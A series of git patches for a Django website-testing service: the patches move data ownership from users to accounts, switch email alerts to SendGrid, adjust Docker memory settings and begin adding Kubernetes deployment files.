a/app/api/v1/ops/services.py +++ b/app/api/v1/ops/services.py @@ -100,6 +100,7 @@ def create_site(request, delay=False): site_url=site_url, user=user, tags=tags, + account=account ) if not configs: @@ -1693,7 +1694,8 @@ def create_testcase(request, delay=False): site = site, user = request.user, configs = configs, - steps = steps + steps = steps, + account = account ) if delay: From 502dc86556839d5d04791fe70cd37e3d40591af6 Mon Sep 17 00:00:00 2001 From: landon Date: Thu, 11 May 2023 21:08:05 -0500 Subject: [PATCH 257/277] linking seralizers to account obj --- app/api/v1/ops/serializers.py | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/app/api/v1/ops/serializers.py b/app/api/v1/ops/serializers.py index d0dbb430..a74996b7 100644 --- a/app/api/v1/ops/serializers.py +++ b/app/api/v1/ops/serializers.py @@ -37,6 +37,7 @@ class Meta: class SiteSerializer(serializers.HyperlinkedModelSerializer): user = serializers.ReadOnlyField(source='user.username') id = serializers.PrimaryKeyRelatedField(**kwargs) + account = serializers.PrimaryKeyRelatedField(source='account.id', **kwargs) class Meta: model = Site @@ -112,6 +113,7 @@ class ScheduleSerializer(serializers.HyperlinkedModelSerializer): user = serializers.ReadOnlyField(source='user.username') id = serializers.PrimaryKeyRelatedField(**kwargs) automation = serializers.PrimaryKeyRelatedField(**kwargs) + account = serializers.PrimaryKeyRelatedField(source='account.id', **kwargs) class Meta: model = Schedule @@ -126,6 +128,7 @@ class AutomationSerializer(serializers.HyperlinkedModelSerializer): id = serializers.PrimaryKeyRelatedField(**kwargs) schedule = serializers.PrimaryKeyRelatedField(**kwargs) user = serializers.ReadOnlyField(source='user.username') + account = serializers.PrimaryKeyRelatedField(source='account.id', **kwargs) class Meta: model = Automation @@ -140,6 +143,7 @@ class ReportSerializer(serializers.HyperlinkedModelSerializer): id = serializers.PrimaryKeyRelatedField(**kwargs) site = serializers.PrimaryKeyRelatedField(source='site.id', **kwargs) user = serializers.ReadOnlyField(source='user.username') + account = serializers.PrimaryKeyRelatedField(source='account.id', **kwargs) class Meta: model = Report @@ -153,6 +157,7 @@ class Meta: class CaseSerializer(serializers.HyperlinkedModelSerializer): id = serializers.PrimaryKeyRelatedField(**kwargs) user = serializers.ReadOnlyField(source='user.username') + account = serializers.PrimaryKeyRelatedField(source='account.id', **kwargs) class Meta: model = Case @@ -167,6 +172,7 @@ class TestcaseSerializer(serializers.HyperlinkedModelSerializer): site = serializers.PrimaryKeyRelatedField(source='site.id', **kwargs) case = serializers.PrimaryKeyRelatedField(source='case.id', **kwargs) user = serializers.ReadOnlyField(source='user.username') + account = serializers.PrimaryKeyRelatedField(source='account.id', **kwargs) class Meta: model = Testcase @@ -180,9 +186,10 @@ class SmallTestcaseSerializer(serializers.HyperlinkedModelSerializer): site = serializers.PrimaryKeyRelatedField(source='site.id', **kwargs) case = serializers.PrimaryKeyRelatedField(source='case.id', **kwargs) user = serializers.ReadOnlyField(source='user.username') + account = serializers.PrimaryKeyRelatedField(source='account.id', **kwargs) class Meta: model = Testcase fields = ['id', 'site', 'user', 'time_created', 'time_completed', - 'case', 'case_name', 'passed', 'configs', + 'case', 'case_name', 'passed', 'configs', 'account', ] \ No newline at end of file From 706c2e11880581e037ffa102ff7857cb4b8f95c8 Mon Sep 17 00:00:00 2001 From: landon Date: Thu, 11 May 2023 21:29:09 -0500 Subject: [PATCH 258/277] fixed some lagging acount ref --- app/api/v1/ops/services.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py index 4a1aef61..125b2529 100644 --- a/app/api/v1/ops/services.py +++ b/app/api/v1/ops/services.py @@ -1569,7 +1569,7 @@ def get_cases(request): record_api_call(request, data, '200') return Response(data, status=status.HTTP_200_OK) - cases = Case.objects.filter(user=request.user).order_by('-time_created') + cases = Case.objects.filter(account=account).order_by('-time_created') paginator = LimitOffsetPagination() result_page = paginator.paginate_queryset(cases, request) serializer_context = {'request': request,} From d5427cace93b62f4a5b77374676b9b20582d2ded Mon Sep 17 00:00:00 2001 From: landon Date: Thu, 11 May 2023 21:39:57 -0500 Subject: [PATCH 259/277] fixed a few things --- app/api/models.py | 4 ++-- app/api/v1/ops/services.py | 5 ----- 2 files changed, 2 insertions(+), 7 deletions(-) diff --git a/app/api/models.py b/app/api/models.py index 32f711a9..72e5b54d 100644 --- a/app/api/models.py +++ b/app/api/models.py @@ -236,9 +236,9 @@ class Account(models.Model): user = models.ForeignKey(User, on_delete=models.CASCADE, serialize=True) active = models.BooleanField(default=False, serialize=True) time_created = models.DateTimeField(default=timezone.now, serialize=True) - type = models.CharField(max_length=1000, serialize=True, null=True, blank=True) + type = models.CharField(max_length=1000, serialize=True, null=True, blank=True, default='free') code = models.CharField(max_length=1000, serialize=True, null=True, blank=True) - max_sites = models.IntegerField(serialize=True, null=True, blank=True) + max_sites = models.IntegerField(serialize=True, null=True, blank=True, default=1) cust_id = models.CharField(max_length=1000, serialize=True, null=True, blank=True) sub_id = models.CharField(max_length=1000, serialize=True, null=True, blank=True) product_id = models.CharField(max_length=1000, serialize=True, null=True, blank=True) diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py index 125b2529..5f284806 100644 --- a/app/api/v1/ops/services.py +++ b/app/api/v1/ops/services.py @@ -78,11 +78,6 @@ def create_site(request, delay=False): record_api_call(request, data, '402') return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED) - try: - max_sites = Account.objects.get(user=user).max_sites - except: - max_sites = 1 - if sites.count() >= max_sites: data = {'reason': 'maximum number of sites reached',} record_api_call(request, data, '402') From 5f2597cb466afc26b2020d7357c8bc9ea3c8bf0e Mon Sep 17 00:00:00 2001 From: landon Date: Thu, 11 May 2023 21:42:55 -0500 Subject: [PATCH 260/277] fixed max_sites issues --- app/api/v1/ops/services.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py index 5f284806..78aed4c7 100644 --- a/app/api/v1/ops/services.py +++ b/app/api/v1/ops/services.py @@ -78,7 +78,7 @@ def create_site(request, delay=False): record_api_call(request, data, '402') return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED) - if sites.count() >= max_sites: + if sites.count() >= account.max_sites: data = {'reason': 'maximum number of sites reached',} record_api_call(request, data, '402') return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED) From fdef2c04ce78bddeed667a27b381ce8bd988c20b Mon Sep 17 00:00:00 2001 From: landon Date: Thu, 11 May 2023 21:44:40 -0500 Subject: [PATCH 261/277] one more max_sites fix --- app/api/v1/ops/services.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py index 78aed4c7..c97ef05c 100644 --- a/app/api/v1/ops/services.py +++ b/app/api/v1/ops/services.py @@ -61,7 +61,7 @@ def create_site(request, delay=False): site_url = request.data.get('site_url') user = request.user account = Member.objects.get(user=user).account - sites = Site.objects.filter(user=user) + sites = Site.objects.filter(account=account) if site_url.endswith('/'): From ef8394ffc6740563bcbaf2209c0cbd7f48cc6858 Mon Sep 17 00:00:00 2001 From: landon Date: Thu, 11 May 2023 21:53:24 -0500 Subject: [PATCH 262/277] fixed a lurking user association --- app/api/v1/ops/services.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py index c97ef05c..fb3918cc 100644 --- a/app/api/v1/ops/services.py +++ b/app/api/v1/ops/services.py @@ -581,7 +581,7 @@ def delete_many_tests(request): for id in ids: try: test = Test.objects.get(id=id) - if test.site.user == user: + if test.site.account == account: test.delete() num_succeeded += 1 succeeded.append(str(id)) From c43dd083651e88877ef356975341e8487fb73fda Mon Sep 17 00:00:00 2001 From: landon Date: Thu, 11 May 2023 21:58:00 -0500 Subject: [PATCH 263/277] in prod mode --- app/scanerr/settings.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/app/scanerr/settings.py b/app/scanerr/settings.py index 0eaa34ce..5e49a987 100644 --- a/app/scanerr/settings.py +++ b/app/scanerr/settings.py @@ -21,7 +21,7 @@ SECRET_KEY = os.environ.get('SECRET_KEY') # SECURITY WARNING: don't run with debug turned on in production! -DEBUG = True +DEBUG = False ALLOWED_HOSTS = ['*'] CLIENT_URL_ROOT = os.environ.get('CLIENT_URL_ROOT') From 0e1c3f999fa4e0f02547fdb498616a44da0ba395 Mon Sep 17 00:00:00 2001 From: Landon Roddenberry Date: Fri, 12 May 2023 10:23:59 -0500 Subject: [PATCH 264/277] trying new memory increase for node --- Dockerfile.prod | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/Dockerfile.prod b/Dockerfile.prod index 2a014e28..a03540d0 100644 --- a/Dockerfile.prod +++ b/Dockerfile.prod @@ -19,7 +19,8 @@ RUN apt-get update && apt-get install nodejs npm -y \ RUN npm cache clean --force # increasing allocated memory to node -RUN export NODE_OPTIONS="--max-old-space-size=7000" +RUN export NODE_OPTIONS="--max-old-space-size=7000" +RUN export NODE_OPTIONS="--stack-size=262000" # installing lighthouse & yellowlabtools RUN npm install -g lighthouse lighthouse-plugin-crux lodash yellowlabtools From 76c5347ef1d1f51fcb3804589860ccda1f5e2a33 Mon Sep 17 00:00:00 2001 From: landon Date: Fri, 12 May 2023 12:17:30 -0500 Subject: [PATCH 265/277] testing new node mem increase --- Dockerfile.prod | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/Dockerfile.prod b/Dockerfile.prod index a03540d0..5d53e84b 100644 --- a/Dockerfile.prod +++ b/Dockerfile.prod @@ -19,8 +19,10 @@ RUN apt-get update && apt-get install nodejs npm -y \ RUN npm cache clean --force # increasing allocated memory to node -RUN export NODE_OPTIONS="--max-old-space-size=7000" -RUN export NODE_OPTIONS="--stack-size=262000" +# RUN export NODE_OPTIONS="--max-old-space-size=7000" +# RUN export NODE_OPTIONS="--stack-size=262000" +ENV NODE_OPTIONS=--max_old_space_size=7000 +ENV NODE_OPTIONS=--stack_size=262000 # installing lighthouse & yellowlabtools RUN npm install -g lighthouse lighthouse-plugin-crux lodash yellowlabtools From 0fa9868f3f842da6e3d230d1da7e781c93f980cf Mon Sep 17 00:00:00 2001 From: landon Date: Fri, 12 May 2023 13:06:41 -0500 Subject: [PATCH 266/277] added sendgrid --- app/api/utils/alerts.py | 120 ++++++++++++++++++++++++++++++++++---- app/api/v1/auth/alerts.py | 75 ++++++++++++++---------- app/scanerr/settings.py | 9 +++ env/.env.dev.example | 7 +++ env/.env.local.example | 9 +++ env/.env.prod.example | 9 +++ requirements.txt | 1 + 7 files changed, 188 insertions(+), 42 deletions(-) diff --git a/app/api/utils/alerts.py b/app/api/utils/alerts.py index 2b4024cc..be441448 100644 --- a/app/api/utils/alerts.py +++ b/app/api/utils/alerts.py @@ -10,6 +10,8 @@ from twilio.rest import Client from slack_sdk.web import WebClient from slack_sdk.errors import SlackApiError +from sendgrid import SendGridAPIClient +from sendgrid.helpers.mail import Mail, From, To @@ -294,6 +296,7 @@ def automation_email(email=None, automation_id=None, object_id=None): subject = subject context = { 'title' : title, + 'subject': subject, 'pre_header' : pre_header, 'pre_content' : pre_content, 'exp_list': exp_list, @@ -301,19 +304,22 @@ def automation_email(email=None, automation_id=None, object_id=None): 'home_page' : os.environ.get('CLIENT_URL_ROOT'), 'button_text' : 'View Site Dashboard', 'content' : content, + 'email': email, 'signature' : '- Cheers!', } - html_message = render_to_string('api/automation_email.html', context) - plain_message = strip_tags(html_message) - send_mail( - from_email = os.getenv('EMAIL_HOST_USER'), - subject = subject, - message = plain_message, - recipient_list = [email], - html_message = html_message, - fail_silently = True, - ) + sendgrid_email(message_obj=context) + + # html_message = render_to_string('api/automation_email.html', context) + # plain_message = strip_tags(html_message) + # send_mail( + # from_email = os.getenv('EMAIL_HOST_USER'), + # subject = subject, + # message = plain_message, + # recipient_list = [email], + # html_message = html_message, + # fail_silently = True, + # ) data = { 'success': True @@ -554,4 +560,96 @@ def automation_slack(automation_id=None, object_id=None): 'success': False } - return data \ No newline at end of file + return data + + + + + + + +def sendgrid_email(message_obj): + """ + Tries to send an email via the SendGrid API. + + Expects the following: + "message_obj": { + 'pre_content': , + 'content': , + 'subject': , + 'title': , + 'pre_header': , + 'button_text': , + 'exp_list': , + 'email': , + 'template': , + 'object_url': , + 'signature': + } + + Returns --> data: { + 'message': True + } + """ + + + # defining data + pre_content = message_obj.get('pre_content') + content = message_obj.get('content') + subject = message_obj.get('subject') + title = message_obj.get('title') + pre_header = message_obj.get('pre_header') + button_text = message_obj.get('button_text') + email = message_obj.get('email') + exp_list = message_obj.get('exp_list') + object_url = message_obj.get('object_url') + signature = message_obj.get('signature', '- Cheers!') + + + # build template data + template_data = { + 'title' : title, + 'pre_header' : pre_header, + 'pre_content' : pre_content, + 'object_url' : object_url, + 'exp_list': exp_list, + 'home_page' : settings.LANDING_URL_ROOT, + 'button_text' : button_text, + 'content' : content, + 'signature' : signature, + 'subject': subject, + } + + # decide which template to use based on data + template = settings.DEFAULT_TEMPLATE + if object_url is None: + template = settings.DEFAULT_TEMPLATE_NO_BUTTON + if exp_list is not None: + template = settings.AUTOMATION_TEMPLATE + + + # init SendGrid message + message = Mail( + from_email=From('hello@scanerr.io', 'Scanerr'), # prod -> settings.EMAIL_HOST_USER + to_emails=email, + ) + + # attach template data and id + message.dynamic_template_data = template_data + message.template_id = template + + # send message + try: + sg = SendGridAPIClient(settings.SENDGRID_API_KEY) + response = sg.send(message) + status = True + except Exception as e: + status = False + print(e.message) + + + data = { + 'success': status + } + + return data diff --git a/app/api/v1/auth/alerts.py b/app/api/v1/auth/alerts.py index b28fa0cf..e11c4db5 100644 --- a/app/api/v1/auth/alerts.py +++ b/app/api/v1/auth/alerts.py @@ -8,6 +8,7 @@ from django.contrib.auth.models import User from rest_framework_simplejwt.tokens import RefreshToken from rest_framework.response import Response +from ...utils.alerts import sendgrid_email @@ -26,6 +27,8 @@ def send_reset_link(email): subject = subject context = { 'title' : title, + 'subject' : subject, + 'email': email, 'pre_header' : pre_header, 'pre_content' : pre_content, 'object_url' : reset_link, @@ -35,16 +38,18 @@ def send_reset_link(email): 'signature' : '- Cheers!', } - html_message = render_to_string('api/alert_with_button.html', context) - plain_message = strip_tags(html_message) - send_mail( - from_email = os.getenv('EMAIL_HOST_USER'), - subject = subject, - message = plain_message, - recipient_list = [email], - html_message = html_message, - fail_silently = True, - ) + sendgrid_email(message_obj=context) + + # html_message = render_to_string('api/alert_with_button.html', context) + # plain_message = strip_tags(html_message) + # send_mail( + # from_email = os.getenv('EMAIL_HOST_USER'), + # subject = subject, + # message = plain_message, + # recipient_list = [email], + # html_message = html_message, + # fail_silently = True, + # ) data = { 'success': True @@ -75,6 +80,8 @@ def send_invite_link(member): subject = subject context = { 'title' : title, + 'subject' : subject, + 'email': member.email, 'pre_header' : pre_header, 'pre_content' : pre_content, 'object_url' : link, @@ -83,17 +90,19 @@ def send_invite_link(member): 'content' : '', 'signature' : '- Cheers!', } - - html_message = render_to_string('api/alert_with_button.html', context) - plain_message = strip_tags(html_message) - send_mail( - from_email = os.getenv('EMAIL_HOST_USER'), - subject = subject, - message = plain_message, - recipient_list = [member.email], - html_message = html_message, - fail_silently = True, - ) + + sendgrid_email(message_obj=context) + + # html_message = render_to_string('api/alert_with_button.html', context) + # plain_message = strip_tags(html_message) + # send_mail( + # from_email = os.getenv('EMAIL_HOST_USER'), + # subject = subject, + # message = plain_message, + # recipient_list = [member.email], + # html_message = html_message, + # fail_silently = True, + # ) data = { 'success': True @@ -121,6 +130,8 @@ def send_remove_alert(member): subject = subject context = { 'title' : title, + 'subject' : subject, + 'email': member.email, 'pre_header' : pre_header, 'pre_content' : pre_content, 'object_url' : None, @@ -129,16 +140,18 @@ def send_remove_alert(member): 'signature' : '- Cheers!', } - html_message = render_to_string('api/alert_no_button.html', context) - plain_message = strip_tags(html_message) - send_mail( - from_email = os.getenv('EMAIL_HOST_USER'), - subject = subject, - message = plain_message, - recipient_list = [member.email], - html_message = html_message, - fail_silently = True, - ) + sendgrid_email(message_obj=context) + + # html_message = render_to_string('api/alert_no_button.html', context) + # plain_message = strip_tags(html_message) + # send_mail( + # from_email = os.getenv('EMAIL_HOST_USER'), + # subject = subject, + # message = plain_message, + # recipient_list = [member.email], + # html_message = html_message, + # fail_silently = True, + # ) data = { 'success': True diff --git a/app/scanerr/settings.py b/app/scanerr/settings.py index 5e49a987..35fc0625 100644 --- a/app/scanerr/settings.py +++ b/app/scanerr/settings.py @@ -25,6 +25,7 @@ ALLOWED_HOSTS = ['*'] CLIENT_URL_ROOT = os.environ.get('CLIENT_URL_ROOT') +LANDING_URL_ROOT = os.environ.get('LANDING_URL_ROOT') API_URL_ROOT = os.environ.get('API_URL_ROOT') CORS_ORIGIN_ALLOW_ALL = True DATA_UPLOAD_MAX_MEMORY_SIZE = 5242880 @@ -215,6 +216,14 @@ EMAIL_HOST_PASSWORD = os.environ.get('EMAIL_HOST_PASSWORD') +# Sendgrid configs +SENDGRID_API_KEY = os.environ.get('SENDGRID_API_KEY') +DEFAULT_TEMPLATE = os.environ.get('DEFAULT_TEMPLATE') +DEFAULT_TEMPLATE_NO_BUTTON = os.environ.get('DEFAULT_TEMPLATE_NO_BUTTON') +AUTOMATION_TEMPLATE = os.environ.get('AUTOMATION_TEMPLATE') + + + # google oAuth2 GOOGLE_OAUTH2_CLIENT_ID = os.environ.get('GOOGLE_OAUTH2_CLIENT_ID') GOOGLE_OAUTH2_CLIENT_SECRET = os.environ.get('GOOGLE_OAUTH2_CLIENT_SECRET') diff --git a/env/.env.dev.example b/env/.env.dev.example index 5021207b..f05120b0 100644 --- a/env/.env.dev.example +++ b/env/.env.dev.example @@ -61,6 +61,13 @@ TWILIO_AUTH_TOKEN = TWILIO_NUMBER = +# sendgrid configs +SENDGRID_API_KEY = +DEFAULT_TEMPLATE = +DEFAULT_TEMPLATE_NO_BUTTON = +AUTOMATION_TEMPLATE = + + # slack credentials SLACK_APP_ID = SLACK_CLIENT_ID = diff --git a/env/.env.local.example b/env/.env.local.example index 8df28191..40b50b9c 100644 --- a/env/.env.local.example +++ b/env/.env.local.example @@ -1,6 +1,7 @@ # high level django configs SECRET_KEY = ask-for-this CLIENT_URL_ROOT = http://localhost:3000 +CLIENT_URL_ROOT = http://localhost:3000 API_URL_ROOT = http://localhost:8000 DJANGO_ALLOWED_HOSTS = * @@ -55,6 +56,14 @@ TWILIO_AUTH_TOKEN = TWILIO_NUMBER = +# sendgrid configs +SENDGRID_API_KEY = +DEFAULT_TEMPLATE = +DEFAULT_TEMPLATE_NO_BUTTON = +AUTOMATION_TEMPLATE = + + + # slack credentials SLACK_APP_ID = SLACK_CLIENT_ID = diff --git a/env/.env.prod.example b/env/.env.prod.example index 5c42261f..96d89f7c 100644 --- a/env/.env.prod.example +++ b/env/.env.prod.example @@ -1,6 +1,7 @@ # high level django configs SECRET_KEY = ask-for-this-or-generate-yourself CLIENT_URL_ROOT = https://app.example.io # example +LANDING_URL_ROOT = https://example.io # example API_URL_ROOT = https://api.example.io # example LETSENCRYPT_HOST = api.example.io # example DJANGO_ALLOWED_HOSTS = * @@ -57,6 +58,14 @@ TWILIO_AUTH_TOKEN = TWILIO_NUMBER = +# sendgrid configs +SENDGRID_API_KEY = +DEFAULT_TEMPLATE = +DEFAULT_TEMPLATE_NO_BUTTON = +AUTOMATION_TEMPLATE = + + + # slack credentials SLACK_APP_ID = SLACK_CLIENT_ID = diff --git a/requirements.txt b/requirements.txt index 7cda1e7c..df9fe6b2 100644 --- a/requirements.txt +++ b/requirements.txt @@ -37,6 +37,7 @@ requests==2.25.1 reportlab==3.6.6 scipy==1.8.0 selenium==4.1.3 +sendgrid==6.9.7 sewar==0.4.4 six==1.16.0 slack-sdk==3.11.2 From 2f1a33de9fb981bea95315f4b408eae68e125bba Mon Sep 17 00:00:00 2001 From: landon Date: Fri, 12 May 2023 13:08:52 -0500 Subject: [PATCH 267/277] testing stack size --- Dockerfile.prod | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Dockerfile.prod b/Dockerfile.prod index 5d53e84b..a07ac3c0 100644 --- a/Dockerfile.prod +++ b/Dockerfile.prod @@ -22,7 +22,7 @@ RUN npm cache clean --force # RUN export NODE_OPTIONS="--max-old-space-size=7000" # RUN export NODE_OPTIONS="--stack-size=262000" ENV NODE_OPTIONS=--max_old_space_size=7000 -ENV NODE_OPTIONS=--stack_size=262000 +ENV NODE_OPTIONS=--stack-size=262000 # installing lighthouse & yellowlabtools RUN npm install -g lighthouse lighthouse-plugin-crux lodash yellowlabtools From 18727b2c1e27366179e1134c5df8a17929a2f009 Mon Sep 17 00:00:00 2001 From: landon Date: Fri, 12 May 2023 13:09:46 -0500 Subject: [PATCH 268/277] removing stack-size --- Dockerfile.prod | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Dockerfile.prod b/Dockerfile.prod index a07ac3c0..be6dcdcb 100644 --- a/Dockerfile.prod +++ b/Dockerfile.prod @@ -22,7 +22,7 @@ RUN npm cache clean --force # RUN export NODE_OPTIONS="--max-old-space-size=7000" # RUN export NODE_OPTIONS="--stack-size=262000" ENV NODE_OPTIONS=--max_old_space_size=7000 -ENV NODE_OPTIONS=--stack-size=262000 +# ENV NODE_OPTIONS=--stack-size=262000 # installing lighthouse & yellowlabtools RUN npm install -g lighthouse lighthouse-plugin-crux lodash yellowlabtools From 653ee4ffb9a4861f143ce2bab16f3a38b428f316 Mon Sep 17 00:00:00 2001 From: landon Date: Fri, 12 May 2023 13:13:49 -0500 Subject: [PATCH 269/277] debug mode --- app/scanerr/settings.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/app/scanerr/settings.py b/app/scanerr/settings.py index 35fc0625..481812e0 100644 --- a/app/scanerr/settings.py +++ b/app/scanerr/settings.py @@ -21,7 +21,7 @@ SECRET_KEY = os.environ.get('SECRET_KEY') # SECURITY WARNING: don't run with debug turned on in production! -DEBUG = False +DEBUG = True ALLOWED_HOSTS = ['*'] CLIENT_URL_ROOT = os.environ.get('CLIENT_URL_ROOT') From ff7d523c91afa3e5066f1b3119b827019eb60fe1 Mon Sep 17 00:00:00 2001 From: landon Date: Fri, 12 May 2023 13:16:49 -0500 Subject: [PATCH 270/277] importing settings --- app/api/utils/alerts.py | 1 + app/api/v1/auth/alerts.py | 1 + 2 files changed, 2 insertions(+) diff --git a/app/api/utils/alerts.py b/app/api/utils/alerts.py index be441448..fb4f68df 100644 --- a/app/api/utils/alerts.py +++ b/app/api/utils/alerts.py @@ -12,6 +12,7 @@ from slack_sdk.errors import SlackApiError from sendgrid import SendGridAPIClient from sendgrid.helpers.mail import Mail, From, To +from scanerr import settings diff --git a/app/api/v1/auth/alerts.py b/app/api/v1/auth/alerts.py index e11c4db5..10392b78 100644 --- a/app/api/v1/auth/alerts.py +++ b/app/api/v1/auth/alerts.py @@ -9,6 +9,7 @@ from rest_framework_simplejwt.tokens import RefreshToken from rest_framework.response import Response from ...utils.alerts import sendgrid_email +from scanerr import settings From 16db993dd2dd80ba9f071039ebef7f4d17207b9a Mon Sep 17 00:00:00 2001 From: landon Date: Sun, 14 May 2023 19:15:17 -0500 Subject: [PATCH 271/277] prod mode --- app/scanerr/settings.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/app/scanerr/settings.py b/app/scanerr/settings.py index 481812e0..35fc0625 100644 --- a/app/scanerr/settings.py +++ b/app/scanerr/settings.py @@ -21,7 +21,7 @@ SECRET_KEY = os.environ.get('SECRET_KEY') # SECURITY WARNING: don't run with debug turned on in production! -DEBUG = True +DEBUG = False ALLOWED_HOSTS = ['*'] CLIENT_URL_ROOT = os.environ.get('CLIENT_URL_ROOT') From c2a5dd27572727083417496f3cebf67b95957642 Mon Sep 17 00:00:00 2001 From: landon Date: Sun, 14 May 2023 19:41:11 -0500 Subject: [PATCH 272/277] debug mode --- app/scanerr/settings.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/app/scanerr/settings.py b/app/scanerr/settings.py index 35fc0625..481812e0 100644 --- a/app/scanerr/settings.py +++ b/app/scanerr/settings.py @@ -21,7 +21,7 @@ SECRET_KEY = os.environ.get('SECRET_KEY') # SECURITY WARNING: don't run with debug turned on in production! -DEBUG = False +DEBUG = True ALLOWED_HOSTS = ['*'] CLIENT_URL_ROOT = os.environ.get('CLIENT_URL_ROOT') From 5e20e03ebf51c5205799410431c9584bbfe6e781 Mon Sep 17 00:00:00 2001 From: landon Date: Sun, 14 May 2023 20:00:27 -0500 Subject: [PATCH 273/277] fixed home stats --- app/api/v1/ops/services.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py index fb3918cc..da27dd42 100644 --- a/app/api/v1/ops/services.py +++ b/app/api/v1/ops/services.py @@ -2004,7 +2004,9 @@ def create_site_screenshot(request): def get_home_stats(request): - sites = Site.objects.filter(user=request.user) + user = request.user + account = Member.objects.get(user=user).account + sites = Site.objects.filter(account=account) site_count = sites.count() test_count = 0 scan_count = 0 From 749c91006521fb9014e5003a1dca0a767d1ee4d1 Mon Sep 17 00:00:00 2001 From: landon Date: Sun, 21 May 2023 18:12:35 -0500 Subject: [PATCH 274/277] adding k8s --- .gitignore | 1 + app/scanerr/settings.py | 6 -- docker-compose.dev.yml | 4 ++ docker-compose.prod.yml | 5 ++ docker-compose.yml | 17 ++++-- k8s/kubernetes-notes.md | 84 ++++++++++++++++++++++++++++ k8s/local/app-deployment.yaml | 59 +++++++++++++++++++ k8s/local/celery-deployment.yaml | 32 +++++++++++ k8s/local/db-deployment.yaml | 50 +++++++++++++++++ k8s/local/persistentvolumeclaim.yaml | 10 ++++ k8s/local/redis-deployment.yaml | 50 +++++++++++++++++ k8s/prod/app-deployment.yaml | 59 +++++++++++++++++++ k8s/prod/celery-deployment.yaml | 32 +++++++++++ k8s/prod/redis-deployment.yaml | 50 +++++++++++++++++ 14 files changed, 447 insertions(+), 12 deletions(-) create mode 100644 k8s/kubernetes-notes.md create mode 100644 k8s/local/app-deployment.yaml create mode 100644 k8s/local/celery-deployment.yaml create mode 100644 k8s/local/db-deployment.yaml create mode 100644 k8s/local/persistentvolumeclaim.yaml create mode 100644 k8s/local/redis-deployment.yaml create mode 100644 k8s/prod/app-deployment.yaml create mode 100644 k8s/prod/celery-deployment.yaml create mode 100644 k8s/prod/redis-deployment.yaml diff --git a/.gitignore b/.gitignore index 147a533b..780009eb 100644 --- a/.gitignore +++ b/.gitignore @@ -19,3 +19,4 @@ Dockerfile.alpine Dockerfile.dev1 Dockerfile.dev3 app/api/migrations/*_*.py +k8s/*/*-configs.yaml diff --git a/app/scanerr/settings.py b/app/scanerr/settings.py index 481812e0..1d4b50c8 100644 --- a/app/scanerr/settings.py +++ b/app/scanerr/settings.py @@ -118,20 +118,15 @@ # Django REST framework REST_FRAMEWORK = { - # Use Django's standard `django.contrib.auth` permissions, - # or allow read-only access for unauthenticated users. 'DEFAULT_PERMISSION_CLASSES': [ 'rest_framework.permissions.DjangoModelPermissions', ], - 'DEFAULT_AUTHENTICATION_CLASSES': [ 'rest_framework.authentication.TokenAuthentication', 'rest_framework_simplejwt.authentication.JWTAuthentication', ], - 'DEFAULT_PAGINATION_CLASS': 'rest_framework.pagination.LimitOffsetPagination', 'PAGE_SIZE': 10, - } SIMPLE_JWT = { @@ -140,7 +135,6 @@ } - # Internationalization # https://docs.djangoproject.com/en/3.2/topics/i18n/ diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml index b1a282f7..f09772ed 100644 --- a/docker-compose.dev.yml +++ b/docker-compose.dev.yml @@ -27,6 +27,8 @@ services: db: image: postgres:10-alpine + ports: + - "5432" env_file: - ./env/.env.dev volumes: @@ -35,6 +37,8 @@ services: redis: image: redis:alpine + ports: + - "6379" celery: diff --git a/docker-compose.prod.yml b/docker-compose.prod.yml index 11737404..cc375e35 100644 --- a/docker-compose.prod.yml +++ b/docker-compose.prod.yml @@ -2,11 +2,13 @@ version: '3' services: app: + restart: always privileged: true init: true build: context: . dockerfile: Dockerfile.prod + # image: landonr/scanerr-server volumes: - ./app:/app - static_volume:/app/static @@ -26,6 +28,8 @@ services: redis: image: redis:alpine + ports: + - "6379" celery: privileged: true @@ -33,6 +37,7 @@ services: build: context: . dockerfile: Dockerfile.prod + # image: landonr/scanerr-server command: celery -A scanerr worker --beat --scheduler django --loglevel=info volumes: - ./app:/scanerr diff --git a/docker-compose.yml b/docker-compose.yml index df003fc1..a8f492c0 100644 --- a/docker-compose.yml +++ b/docker-compose.yml @@ -4,9 +4,11 @@ services: app: privileged: true init: true + restart: always build: context: . - dockerfile: Dockerfile + dockerfile: Dockerfile.prod + # image: landonr/scanerr-server ports: - "8000:8000" volumes: @@ -21,12 +23,14 @@ services: python3 manage.py driver_p_test && python3 manage.py runserver 0.0.0.0:8000" env_file: - - ./env/.env.dev + - ./env/.env.local depends_on: - db db: image: postgres:10-alpine + ports: + - "5432" env_file: - ./env/.env.dev volumes: @@ -34,17 +38,21 @@ services: redis: image: redis:alpine + ports: + - "6379" celery: privileged: true restart: always build: context: . + dockerfile: Dockerfile.prod + # image: landonr/scanerr-server command: celery -A scanerr worker --beat --scheduler django --loglevel=info volumes: - ./app:/scanerr env_file: - - ./env/.env.dev + - ./env/.env.local depends_on: - db - redis @@ -52,6 +60,3 @@ services: volumes: pgdata: - - - # python3 manage.py driver_p_test && python3 manage.py driver_s_test && \ No newline at end of file diff --git a/k8s/kubernetes-notes.md b/k8s/kubernetes-notes.md new file mode 100644 index 00000000..336cb823 